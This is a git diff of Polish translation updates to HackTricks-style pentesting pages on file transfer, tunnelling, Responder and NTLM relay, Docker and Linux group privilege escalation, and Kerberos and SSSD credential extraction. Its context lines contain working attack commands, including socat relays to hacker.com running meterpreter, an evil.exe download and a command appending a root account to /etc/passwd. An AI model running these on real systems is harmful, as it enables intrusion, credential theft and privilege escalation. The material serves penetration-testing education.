nagłówki)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) - Moduł Pythona [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files @@ -234,7 +234,7 @@ sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -Domyślnie w XP i 2003 (w innych musi być wyraźnie dodany podczas instalacji) +Domyślnie w XP i 2003 (w innych systemach musi być wyraźnie dodany podczas instalacji) W Kali, **uruchom serwer TFTP**: ```bash @@ -248,13 +248,13 @@ cp /path/tp/nc.exe /tftp pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` -W **victim** połącz się z serwerem Kali: +W **victim**, połącz się z serwerem Kali: ```bash tftp -i get nc.exe ``` ## PHP -Pobierz plik z onelinerem PHP: +Pobierz plik z PHP onelinerem: ```bash echo "" > down2.php ``` @@ -296,7 +296,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do ich odbudowy z hex**. Oznacza to, że podając hex pliku binarnego, `debug.exe` może wygenerować plik binarny. Jednak ważne jest, aby zauważyć, że debug.exe ma **ograniczenie w składaniu plików do 64 kb**. +Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do odbudowywania ich z hex**. Oznacza to, że podając hex pliku binarnego, `debug.exe` może wygenerować plik binarny. Ważne jest jednak, aby zauważyć, że debug.exe ma **ograniczenie w składaniu plików do 64 kb**. ```bash # Reduce the size upx -9 nc.exe @@ -304,6 +304,10 @@ wine exe2bat.exe nc.exe nc.txt ``` Następnie skopiuj i wklej tekst do powłoki systemu Windows, a plik o nazwie nc.exe zostanie utworzony. +- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) + ## DNS +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 83f94baaa..23ac6b14d 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Nmap tip > [!WARNING] -> **Skanowanie ICMP** i **SYN** nie mogą być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało. +> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało. ## **Bash** @@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in ``` ### Port2Port -Lokalny port --> Skompromitowany host (SSH) --> Trzecia_boks:Port +Lokalny port --> Skompromitowany host (SSH) --> Trzecia_puszka:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -Musisz mieć **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\ +Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -89,8 +89,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE -Możesz **tunnel** przez **ssh** cały **ruch** do **podsieci** przez hosta.\ -Na przykład, przekierowując cały ruch kierujący się do 10.10.10.0/24 +Możesz **tunnel** przez **ssh** cały **traffic** do **subnetwork** przez hosta.\ +Na przykład, przekierowując cały traffic kierujący się do 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**. +Otwórz port w serwerze zespołowym nasłuchującym na wszystkich interfejsach, który może być użyty do **przekierowania ruchu przez beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port +> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] @@ -160,7 +160,7 @@ Do zauważenia: > [!WARNING] > W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port -``` +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -174,7 +174,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ``` ## Chisel -Możesz go pobrać ze strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Możesz go pobrać z strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ Musisz używać **tej samej wersji dla klienta i serwera** ### socks @@ -186,7 +186,7 @@ Musisz używać **tej samej wersji dla klienta i serwera** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` -### Przekierowywanie portów +### Przekierowanie portów ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim @@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -Możesz obejść **nieautoryzowany proxy**, wykonując tę linię zamiast ostatniej w konsoli ofiary: +Możesz obejść **proxy bez uwierzytelnienia**, wykonując tę linię zamiast ostatniej w konsoli ofiary: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -320,7 +320,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh). +To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh). Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie: ```bash @@ -354,9 +354,9 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**. +Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**. -**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary binarkę `SocksOverRDP-Server.exe`: +**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -364,18 +364,18 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje: ``` netstat -antb | findstr 1080 ``` -Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyfikacji ruchu przez ten port.** +Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.** -## Proxyfikacja aplikacji GUI w Windows +## Proxyzowanie aplikacji GUI w systemie Windows -Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\ +Możesz sprawić, że aplikacje GUI w systemie Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\ W **Profile -> Proxy Servers** dodaj adres IP i port serwera SOCKS.\ -W **Profile -> Proxification Rules** dodaj nazwę programu do proxyfikacji oraz połączenia do adresów IP, które chcesz proxyfikować. +W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do adresów IP, które chcesz proxyzować. ## Ominięcie proxy NTLM Wcześniej wspomniane narzędzie: **Rpivot**\ -**OpenVPN** również może to obejść, ustawiając te opcje w pliku konfiguracyjnym: +**OpenVPN** może również to obejść, ustawiając te opcje w pliku konfiguracyjnym: ```bash http-proxy 8080 ntlm ``` @@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Zmień DNS w proxychains -Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**. +Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer **DNS**, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**. ## Tunelowanie w Go @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\ -_Adresy URI ekspozycji są jak:_ **UID.ngrok.io** +_URI eksponowania wygląda jak:_ **UID.ngrok.io** ### Instalacja diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 1d7548ac8..74373b4e6 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -4,10 +4,10 @@ ## Protokoły sieciowe -### Protokoły rozwiązywania nazw lokalnych +### Protokoły lokalnego rozwiązywania nazw - **LLMNR, NBT-NS i mDNS**: -- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawodzi. Podobnie systemy Apple i Linux używają mDNS. +- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS. - Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP. - [Responder](https://github.com/lgandx/Responder) może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły. - Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć [tutaj](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). @@ -20,7 +20,7 @@ ### Responder do zatruwania protokołów -- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB. +- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając w zależności od typów zapytań, głównie celując w usługi SMB. - Jest preinstalowane w Kali Linux, konfigurowalne w `/etc/responder/Responder.conf`. - Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu `/usr/share/responder/logs`. - Obsługuje zarówno IPv4, jak i IPv6. @@ -32,7 +32,7 @@ - Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): `responder -I -P -r -v` - Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: `responder -I --lm --disable-ess` - Podszywanie się pod WPAD można aktywować za pomocą: `responder -I --wpad` -- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: `responder.py -I -Pv` +- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można ustawić: `responder.py -I -Pv` ### Zatruwanie DHCP za pomocą Respondera @@ -43,7 +43,7 @@ ### Przechwytywanie poświadczeń za pomocą Respondera -- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach. +- Responder będzie podszywał się pod usługi przy użyciu wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach. - Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń. Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu. @@ -53,16 +53,16 @@ Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się l Inveigh to narzędzie dla testerów penetracyjnych i zespołów red, zaprojektowane dla systemów Windows. Oferuje funkcjonalności podobne do Respondera, wykonując ataki spoofingowe i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnego pliku C#, z [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) jako głównymi wersjami. Szczegółowe parametry i instrukcje można znaleźć w [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh można obsługiwać za pomocą PowerShell: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` -Lub wykonane jako binarne C#: +Lub wykonane jako binarny plik C#: ```bash Inveigh.exe ``` ### NTLM Relay Attack -Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują: +Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową, jeśli się powiedzie. Kluczowe wymagania wstępne obejmują: - Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie. - Podpisywanie SMB powinno być wyłączone. diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 9a7035589..2163eb754 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -10,7 +10,7 @@ Możesz **zamontować** różne części **systemu plików** w kontenerze dział Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz kontenera. - **`-v /:/host`** -> Zamontuj system plików hosta w kontenerze, aby móc **czytać system plików hosta.** -- Jeśli chcesz **czuć się jak na hoście**, ale będąc w kontenerze, możesz wyłączyć inne mechanizmy obronne, używając flag takich jak: +- Jeśli chcesz **czuć się jak na hoście**, będąc w kontenerze, możesz wyłączyć inne mechanizmy obronne, używając flag takich jak: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -20,7 +20,7 @@ Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> To jest podobne do poprzedniej metody, ale tutaj **montujemy dysk urządzenia**. Następnie, wewnątrz kontenera uruchom `mount /dev/sda1 /mnt` i możesz **uzyskać dostęp** do **systemu plików hosta** w `/mnt` +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> To jest podobne do poprzedniej metody, ale tutaj **montujemy dysk urządzenia**. Następnie, wewnątrz kontenera uruchom `mount /dev/sda1 /mnt` i możesz **uzyskać dostęp** do **systemu plików hosta** w `/mnt` - Uruchom `fdisk -l` na hoście, aby znaleźć urządzenie `` do zamontowania - **`-v /tmp:/host`** -> Jeśli z jakiegoś powodu możesz **zamontować tylko niektóre katalogi** z hosta i masz dostęp wewnątrz hosta. Zamontuj go i utwórz **`/bin/bash`** z **suid** w zamontowanym katalogu, aby móc **wykonać go z hosta i eskalować do roota**. diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 9cc1d1c02..4d5c267f9 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Czym jest Distroless +## Co to jest Distroless -Kontener distroless to rodzaj kontenera, który **zawiera tylko niezbędne zależności do uruchomienia konkretnej aplikacji**, bez dodatkowego oprogramowania lub narzędzi, które nie są wymagane. Te kontenery są zaprojektowane, aby być jak **najlżejsze** i **najbezpieczniejsze** możliwe, a ich celem jest **minimalizacja powierzchni ataku** poprzez usunięcie wszelkich zbędnych komponentów. +Kontener distroless to rodzaj kontenera, który **zawiera tylko niezbędne zależności do uruchomienia konkretnej aplikacji**, bez dodatkowego oprogramowania lub narzędzi, które nie są wymagane. Te kontenery są zaprojektowane, aby być jak **najlżejsze** i **bezpieczne** jak to możliwe, a ich celem jest **minimalizacja powierzchni ataku** poprzez usunięcie wszelkich zbędnych komponentów. Kontenery distroless są często używane w **środowiskach produkcyjnych, gdzie bezpieczeństwo i niezawodność są kluczowe**. @@ -25,6 +25,6 @@ Nadchodzi w pewnym momencie 2023... #### openssl -\***\*[**W tym poście,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) wyjaśniono, że binarka **`openssl`** jest często spotykana w tych kontenerach, potencjalnie dlatego, że jest **potrzebna\*\* przez oprogramowanie, które ma działać wewnątrz kontenera. +\***\*[**W tym poście,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) wyjaśniono, że binarka **`openssl`** jest często znajdowana w tych kontenerach, potencjalnie dlatego, że jest **potrzebna** przez oprogramowanie, które ma działać wewnątrz kontenera. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 0d53c2908..32d020916 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -72,7 +72,7 @@ Użytkownicy z **grupy shadow** mogą **czytać** plik **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -So, read the file and try to **crack some hashes**. +So, przeczytaj plik i spróbuj **złamać niektóre hashe**. ## Grupa Pracowników @@ -148,7 +148,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` Jednakże, jeśli spróbujesz **zapisać pliki należące do roota** (takie jak `/etc/shadow` lub `/etc/passwd`), otrzymasz błąd "**Permission denied**". -## Grupa Wideo +## Grupa Video Używając polecenia `w`, możesz znaleźć **kto jest zalogowany w systemie** i wyświetli to wynik podobny do poniższego: ```bash @@ -163,7 +163,7 @@ Grupa **video** ma dostęp do wyświetlania wyjścia ekranu. W zasadzie możesz cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i jako typ pliku wybrać **Surowe dane obrazu**: +Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i jako typ pliku wybrać **Dane surowego obrazu**: ![](<../../../images/image (463).png>) @@ -175,7 +175,7 @@ Następnie zmodyfikuj Szerokość i Wysokość na te używane na ekranie i spraw Wygląda na to, że domyślnie **członkowie grupy root** mogą mieć dostęp do **modyfikacji** niektórych plików konfiguracyjnych **usług** lub niektórych plików **bibliotek** lub **innych interesujących rzeczy**, które mogą być użyte do eskalacji uprawnień... -**Sprawdź, które pliki członkowie roota mogą modyfikować**: +**Sprawdź, które pliki członkowie root mogą modyfikować**: ```bash find / -group root -perm -g=w 2>/dev/null ``` @@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić kontener z uprawnieniami i wydostać się z niego**, jak wyjaśniono tutaj: +Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić uprzywilejowany kontener i uciec z niego**, jak wyjaśniono tutaj: {{#ref}} ../docker-security/ {{#endref}} -Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak eskalować uprawnienia, nadużywając gniazda dockera**](../index.html#writable-docker-socket)**.** +Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak podnieść uprawnienia, nadużywając gniazda dockera**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation @@ -217,12 +217,12 @@ https://fosterelli.co/privilege-escalation-via-docker.html ## Grupa Adm -Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **odczytu plików** dziennika znajdujących się w _/var/log/_.\ +Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **czytania plików** dziennika znajdujących się w _/var/log/_.\ Dlatego, jeśli skompromitowałeś użytkownika w tej grupie, zdecydowanie powinieneś **sprawdzić logi**. ## Grupa Auth W OpenBSD grupa **auth** zazwyczaj może pisać w folderach _**/etc/skey**_ i _**/var/db/yubikey**_, jeśli są używane.\ -Te uprawnienia mogą być nadużywane za pomocą następującego exploita, aby **eskalować uprawnienia** do roota: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Te uprawnienia mogą być nadużywane za pomocą następującego exploita, aby **podnieść uprawnienia** do roota: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index f894ec9e5..b2e4c4358 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Maszyna linuxowa może również być obecna w środowisku Active Directory. +Maszyna linuxowa może również znajdować się w środowisku Active Directory. Maszyna linuxowa w AD może **przechowywać różne bilety CCACHE w plikach. Te bilety mogą być używane i nadużywane jak każdy inny bilet kerberos**. Aby odczytać te bilety, musisz być właścicielem biletu lub **rootem** na maszynie. @@ -10,9 +10,9 @@ Maszyna linuxowa w AD może **przechowywać różne bilety CCACHE w plikach. Te ### Enumeracja AD z linuxa -Jeśli masz dostęp do AD w linuxie (lub bash w Windows), możesz spróbować [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) do enumeracji AD. +Jeśli masz dostęp do AD w linuxie (lub bashu w Windows), możesz spróbować [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) do enumeracji AD. -Możesz również sprawdzić następującą stronę, aby dowiedzieć się o **innych sposobach enumeracji AD z linuxa**: +Możesz również sprawdzić następującą stronę, aby poznać **inne sposoby enumeracji AD z linuxa**: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -20,7 +20,7 @@ Możesz również sprawdzić następującą stronę, aby dowiedzieć się o **in ### FreeIPA -FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z centrum dystrybucji kluczy MIT **Kerberos** do zarządzania podobnego do Active Directory. Wykorzystując system certyfikatów Dogtag do zarządzania certyfikatami CA i RA, wspiera **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany z procesami uwierzytelniania Unix. Dowiedz się więcej o tym w: +FreeIPA to otwartoźródłowa **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z centrum dystrybucji kluczy MIT **Kerberos** do zarządzania podobnego do Active Directory. Wykorzystując system certyfikatów Dogtag do zarządzania certyfikatami CA i RA, wspiera **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany z procesami uwierzytelniania Unix. Dowiedz się więcej o tym w: {{#ref}} ../freeipa-pentesting.md @@ -30,7 +30,7 @@ FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Dire ### Pass The Ticket -Na tej stronie znajdziesz różne miejsca, w których możesz **znaleźć bilety kerberos w hoście linux**, na następnej stronie możesz dowiedzieć się, jak przekształcić te formaty biletów CCache na Kirbi (format, którego musisz użyć w Windows) oraz jak przeprowadzić atak PTT: +Na tej stronie znajdziesz różne miejsca, w których możesz **znaleźć bilety kerberos w hoście linuxowym**, na następnej stronie możesz nauczyć się, jak przekształcić te formaty biletów CCache na Kirbi (format, którego musisz użyć w Windows) oraz jak przeprowadzić atak PTT: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### CCACHE ticket reuse from keyring -**Bilety Kerberos przechowywane w pamięci procesu mogą być wyodrębnione**, szczególnie gdy ochrona ptrace maszyny jest wyłączona (`/proc/sys/kernel/yama/ptrace_scope`). Przydatnym narzędziem do tego celu jest dostępne pod adresem [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), które ułatwia wyodrębnianie poprzez wstrzykiwanie do sesji i zrzucanie biletów do `/tmp`. +**Bilety Kerberos przechowywane w pamięci procesu mogą być wyodrębnione**, szczególnie gdy ochrona ptrace maszyny jest wyłączona (`/proc/sys/kernel/yama/ptrace_scope`). Przydatne narzędzie do tego celu znajduje się pod adresem [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), które ułatwia wyodrębnianie poprzez wstrzykiwanie do sesji i zrzucanie biletów do `/tmp`. Aby skonfigurować i używać tego narzędzia, należy postępować zgodnie z poniższymi krokami: ```bash @@ -66,7 +66,7 @@ Ta procedura spróbuje wstrzyknąć do różnych sesji, wskazując na sukces pop SSSD utrzymuje kopię bazy danych pod ścieżką `/var/lib/sss/secrets/secrets.ldb`. Odpowiedni klucz jest przechowywany jako ukryty plik pod ścieżką `/var/lib/sss/secrets/.secrets.mkey`. Domyślnie klucz jest czytelny tylko, jeśli masz uprawnienia **root**. -Wywołanie \*\*`SSSDKCMExtractor` \*\* z parametrami --database i --key przeanalizuje bazę danych i **odszyfruje sekrety**. +Wywołanie **`SSSDKCMExtractor`** z parametrami --database i --key zanalizuje bazę danych i **odszyfruje sekrety**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey @@ -79,16 +79,16 @@ git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -### Wyciągnij konta z /etc/krb5.keytab +### Ekstrakcja kont z /etc/krb5.keytab -Klucze kont serwisowych, niezbędne dla usług działających z uprawnieniami roota, są bezpiecznie przechowywane w plikach **`/etc/krb5.keytab`**. Te klucze, podobnie jak hasła dla usług, wymagają ścisłej poufności. +Klucze kont serwisowych, niezbędne dla usług działających z uprawnieniami 